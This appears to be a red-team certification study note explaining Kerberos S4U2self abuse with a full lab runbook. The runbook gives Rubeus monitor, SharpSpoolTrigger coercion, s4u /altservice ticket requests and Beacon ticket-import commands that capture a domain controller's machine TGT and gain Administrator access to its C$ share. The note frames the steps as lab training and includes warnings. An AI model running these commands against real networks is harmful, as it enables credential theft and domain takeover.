Skills · learning

Kerberos S4U2self Computer Takeover

Table of Contents

• Quick model
• Requirements versus lab setup
• Why the lab uses unconstrained delegation and a trigger
• What S4U2self and /altservice do
• CRTO lab runbook
  • Find the receiver
  • Reach the receiver
  • Monitor for the target TGT
  • Trigger authentication
  • Request the service ticket
  • Save and import the ticket
  • Test and clean up
• Exam decision gate
• Related notes

The short version A computer-account TGT is a machine identity, not an Administrator credential. S4U2self requests a service ticket to that computer account while representing another user. Same-key service-name substitution can make the ticket usable by another service on the same computer. The service still checks the user's permissions.

Quick model

S4U2self means Service for User to Self: a service uses its own Kerberos identity to ask the KDC for a service ticket to itself on behalf of a specified user. It returns a service ticket, not the user's TGT.

In this lab, the TGT belongs to LON-DC-1$. Rubeus requests an S4U2self ticket representing Administrator to the computer account, then /altservice:cifs/lon-dc-1 substitutes the CIFS service name. This can work because CIFS on that target uses the same computer-account key. The final ticket is for Administrator to cifs/lon-dc-1, not an Administrator TGT.

flowchart LR
    A[lon-dc-1 authenticates] -->|remote trigger| B[Compromised lon-ws-1]
    B -->|unconstrained delegation captures it| C[lon-dc-1$ TGT]
    C -->|S4U2self represents Administrator| D[Ticket to computer account]
    D -->|same-key service-name substitution| E[Administrator ticket to CIFS on lon-dc-1]
    E -->|import into test logon session| F[Check target share access]

Requirements versus lab setup

The computers have different roles:

• lon-ws-1 is the receiver/monitor host. It is compromised and configured for unconstrained delegation.
• lon-dc-1 is the authenticating target. Its account LON-DC-1$ is made to authenticate to lon-ws-1.

Do not confuse LON-WS-1$ and LON-DC-1$. A computer account authenticating as itself does not mean it is a local administrator on its own remote shares. In the lab, direct C$ access as the machine identity failed with ACCESS_DENIED. The exercise then requests a service ticket representing a user with the needed rights.

Why the lab uses unconstrained delegation and a trigger

Unconstrained delegation is the TGT collection mechanism in this lab, not the S4U2self requirement. When a client authenticates to a service on an unconstrained-delegation computer, Windows can forward the client's TGT to that computer. The lab compromises lon-ws-1, monitors its tickets, and makes lon-dc-1 authenticate to it.

The remote authentication trigger creates the event instead of waiting for natural interaction. A trigger attempt alone does not prove a TGT was captured; monitor output does. The course example showed RpcRemoteFindFirstPrinterChangeNotificationEx status: 6 while Rubeus still captured the TGT, so judge success by the matching ticket, not that status line.

The lesson says to run the trigger from a standard domain-user, medium-integrity context. Run the monitor on the delegated host in a context that can observe its tickets; the lab uses the Beacon on lon-ws-1.

What S4U2self and /altservice do

1. S4U2self: use the target computer TGT to ask the KDC for a service ticket to that computer account on behalf of Administrator.
2. /self: in the Rubeus command, stop after S4U2self; do not request S4U2proxy.
3. /altservice: substitute the service name to CIFS on the same target. This only helps when CIFS can decrypt the ticket with the same account key.
4. Ticket use: import the returned service ticket into a separate/test logon session, then test that service.

S4U2proxy is a separate request to another backend service under configured delegation rules. This lab uses S4U2self plus same-key substitution instead. Compare 15b. Kerberos - Constrained Delegation and 15c. Kerberos - Service Name Substitution.

Course-lab-only sequence with high-impact ticket and authentication actions The monitor, remote authentication trigger, and ticket use create observable activity. Use them only in the isolated course lab when the exercise and live rules of engagement require them. Do not assume an exam requires this path. A captured ticket is sensitive authentication material; keep the value out of notes, chat, and screenshots.

CRTO lab runbook

1. Find the unconstrained-delegation receiver

Run from a Beacon with domain LDAP access:

ldapsearch (&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288)) --attributes samAccountName

Domain controllers commonly appear in the result. Identify the additional receiver lon-ws-1$. Its account is not the target lon-dc-1$ whose TGT is needed.

2. Reach the receiver as the lab user

Use the previous rsteel impersonation and lateral-movement steps to obtain a Beacon on lon-ws-1. See 11. User Impersonation and 13. Lateral Movement.

3. Monitor for the target computer TGT

On the Beacon on lon-ws-1, start Rubeus monitor:

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /interval:3 /targetuser:lon-dc-1$ /nowrap

The targetuser filter is for LON-DC-1$. Monitor is long-running; note its job ID. Use jobs to confirm it is running and jobkill after capture.

4. Trigger authentication from target to receiver

Run the trigger from the lab's standard domain-user, medium-integrity context. Argument order is target first, receiving host second:

execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe lon-dc-1 lon-ws-1

Wait for Rubeus to report a TGT for LON-DC-1$@CONTOSO.COM. Copy the complete base64 ticket locally. If no matching ticket appears, capture is not confirmed; check names, context, reachability, and RPC/Spooler conditions.

5. Request the target's CIFS service ticket

Rubeus command from the written lesson:

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:Administrator /self /altservice:cifs/lon-dc-1 /ticket:<LON-DC-1-MACHINE-TGT> /nowrap

The lab also shows this loaded Kerbeus Beacon alias:

krb_s4u /ticket:<LON-DC-1-MACHINE-TGT> /self /altservice:cifs/lon-dc-1 /impersonateuser:Administrator

Alias syntax note: keep the course command for its installed script. The current upstream Kerbeus-BOF README lists /service:SPN in generic krb_s4u usage, while the supplied course example omits it for this /self flow. Interfaces vary by script/version; check the loaded CNA's usage if the command is rejected. Do not guess a different SPN or add /service without confirming the installed version's parameters. The Rubeus command above is the written-lesson alternative. See Kerbeus-BOF usage and the Rubeus S4U implementation.

Expected: S4U2self succeeds and returns base64 ticket.kirbi data for client Administrator and service cifs/lon-dc-1. This is a service ticket, not an Administrator TGT. Check the ticket client, service, and source TGT.

6. Save and import the returned ticket

On the Cobalt Strike client, save the complete service-ticket base64 as a .kirbi file:

$ticket = "<FINAL-SERVICE-TICKET-BASE64>"
[IO.File]::WriteAllBytes("C:\Users\Attacker\Desktop\Administrator-cifs-lon-dc-1.kirbi", [Convert]::FromBase64String($ticket))

In Beacon, create a separate network-only logon session, import the service ticket, and inspect its cache:

make_token CONTOSO\Administrator FakePass
kerberos_ticket_use C:\Users\Attacker\Desktop\Administrator-cifs-lon-dc-1.kirbi
run klist

klist should show cifs/lon-dc-1 under the intended user. make_token creates a network-only context; the placeholder password does not prove a valid password. kerberos_ticket_use imports the .kirbi into the current Beacon logon session.

7. Test access and clean up

From the same Beacon context, test the target resource:

ls \\lon-dc-1\c$

A successful listing proves access to this share. A valid ticket or successful S4U output alone does not. If access fails, check ticket client/service, same-key service mapping, user permissions, and network path.

After testing, revert Beacon impersonation, stop the monitor job, and remove the temporary client-side .kirbi:

rev2self
jobkill <MONITOR-JOB-ID>

Remove-Item -LiteralPath "C:\Users\Attacker\Desktop\Administrator-cifs-lon-dc-1.kirbi"

Use ticket purge only in the disposable test session if required; do not clear unrelated user tickets.

Exam decision gate

1. Which host is the capture point, and whose TGT was captured? Confirm it is the target machine account, TARGET$.
2. Do I have the target's valid TGT? A receiver host TGT or user's TGT is not interchangeable.
3. Which user should the service ticket represent? Use the identity required by the objective.
4. Does the alternate service use the same key as the target computer account? For this lab, CIFS is on that computer.
5. Does the final ticket show the intended user and SPN, and does that user have resource rights? Verify actual access.

Memory line: Unconstrained host captures TARGET$ TGT → S4U2self represents a privileged user → same-key altservice to target service → import and test. Unconstrained delegation is this lab's collection route, not a universal S4U2self prerequisite. A captured TGT is usable only while valid; do not call it durable persistence.

Related notes

• 15a. Kerberos Basics and Unconstrained Delegation - ticket flow, unconstrained delegation, and capture host.
• 15b. Kerberos - Constrained Delegation - how ordinary S4U2proxy differs.
• 15c. Kerberos - Service Name Substitution - same-key conditions and validation.
• 11. User Impersonation - make_token, kerberos_ticket_use, and rev2self.
• 13. Lateral Movement - reaching the receiver.
• Command Cheat Sheet: S4U2self branch - concise commands.
• Detailed Kerberos command reference - detailed command archive.

This is a living study note. Sources and understanding may change as it is reviewed.